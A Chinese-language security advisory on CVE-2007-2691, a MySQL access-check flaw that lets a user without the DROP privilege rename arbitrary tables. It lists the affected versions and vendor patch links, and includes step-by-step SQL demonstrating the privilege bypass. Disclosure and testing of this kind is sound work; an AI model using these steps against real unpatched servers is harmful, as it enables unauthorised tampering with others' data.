语法格式:rename table `db`.`table1` to `db`.`table2`;
MySQL Rename Table函数访问验证漏洞
原文出自【比特网】,转载请保留原文链接:http://sec.chinabyte.com/70/11431070.shtml
受影响系统:
MySQL AB MySQL 5.1.x < 5.1.18
MySQL AB MySQL 5.0.x < 5.0.42
MySQL AB MySQL 4.1.x < 4.1.23
不受影响系统:
MySQL AB MySQL 5.1.18
MySQL AB MySQL 5.0.42
MySQL AB MySQL 4.1.23
描述:
BUGTRAQ ID: 24016
CVE(CAN) ID: CVE-2007-2691
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
MySQL的Rename Table功能的实现上存在访问验证漏洞,能够以合法帐号登录到攻击者可能利用此漏洞执行非授权的操作。
MySQL没有对RENAME TABLE语句要求DROP权限,这允许通过认证的远程用户重新命名任意表格。
<*来源:Victoria Reznichenko
链接:http://secunia.com/advisories/25301/
http://bugs.mysql.com/bug.php?id=27515
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1. 创建一个测试数据库及一个拥有SELECT、INSERT、ALTER和CREATE权限的用户:
mysql> create database priv_test;
Query OK, 1 row affected (0.00 sec)
mysql> grant select, insert, alter, create on `priv\_test`.* to usb@'localhost'
identified by 'mysql';
Query OK, 0 rows affected (0.02 sec)
2. 以该用户的身份连接:
$ ./bin/mysql -uusb -pmysql priv_test
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.1.17-beta-debug Source distribution
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select current_user();
+----------------+
| current_user() |
+----------------+
| usb@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> create table tabc (col1 int);
Query OK, 0 rows affected (0.02 sec)
mysql> create table tabd (col2 int);
Query OK, 0 rows affected (0.05 sec)
mysql> rename table tabc to tabc_bk,tabd to tabc,tabc_bk to tabd;
Query OK, 0 rows affected (0.00 sec)
可见即使用户没有DROP权限也可以重命名表格。
建议:
厂商补丁:
MySQL AB
--------
厂商发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://dev.mysql.com/get/Downloads/MySQL-4.1/mysql-4.1.23.tar.gz/from/pick
http://dev.mysql.com/get/Downloads/MySQL-5.0/mysql-5.0.41.tar.gz/from/pick
http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.18-beta.tar.gz/from/pick